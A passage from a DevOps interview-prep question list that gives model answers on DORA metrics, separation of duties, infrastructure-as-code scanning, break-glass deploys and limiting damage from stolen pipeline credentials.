Interview tip → Runtime retrieval is what makes rotation painless.
Q195 What is a reasonable DORA improvement plan for a team that deploys monthly with a 25% change failure rate?
Advanced
Situation read → Low frequency and low stability reinforce each other.
What I'd do →
- First raise stability: automated tests, staging parity, canary and rollback.
- Then reduce batch size with trunk-based development and feature flags.
- Increase frequency stepwise (monthly, weekly, daily).
- Review each failure blamelessly and fix systemic causes.
Why → Speed without safety just fails faster.
Interview tip → Fix confidence first, cadence second.
Q196 A compliance team requires separation of duties: the person who writes code cannot deploy it.
Intermediate
Situation read → SoD without slowing teams.
What I'd do →
- Require a reviewer who is not the author, enforced by branch protection ("require approval from someone other than the last pusher").
- Production environment approvals by a different group.
- Auditors read the pipeline logs showing author, reviewer, approver.
Why → Automated enforcement beats manual sign-off sheets.
Interview tip → Compliance as code.
Q197 You need to scan Infrastructure-as-Code in the pipeline for misconfigurations.
Beginner
Situation read → Shift-left for IaC.
What I'd do →
- Run
checkov -d .ortrivy config .on every PR andconftest test plan.jsonfor custom policy. - Fail on high severity and allow documented suppressions.
- Show results in PR annotations or SARIF.
Why → Catching an open S3 bucket in a PR is cheaper than in production.
Interview tip → Policy as code with OPA.
Q198 The auditors ask what happens if the CI vendor (GitHub or GitLab SaaS) is down during an incident.
Advanced
Situation read → CI as a dependency of recovery.
What I'd do →
- Keep a documented break-glass deploy path that does not require CI (a locally runnable script with audited credentials).
- Mirror critical repos and keep artifacts in your own registry.
- Practise it in game days.
Why → You must be able to ship a fix when the pipeline is unavailable.
Interview tip → Break-glass access with audit.
Q199 How do you reduce blast radius if a pipeline credential is stolen?
Intermediate
Situation read → Assume breach.
What I'd do →
- Short-lived credentials via OIDC with narrow trust conditions.
- Per-environment roles; no shared admin role.
- Alerts on unusual use (CloudTrail anomaly, new region) and an automated revoke runbook.
Why → Short life and narrow scope limit damage.
Interview tip → Least privilege plus short TTL.
Q200 If you could change three things in an average company's CI/CD, what would they be?
Intermediate
Situation read → Prioritisation question.
What I'd do →
- Build once, promote the same signed artifact through environments.
- Make pipelines declarative, versioned and reusable, with fast feedback under 10 minutes.
- Replace static secrets with workload identity, and add automated rollback with metrics.
Why → These give the largest gains in speed, safety and security.
Interview tip → Tie each choice to a measurable DORA improvement.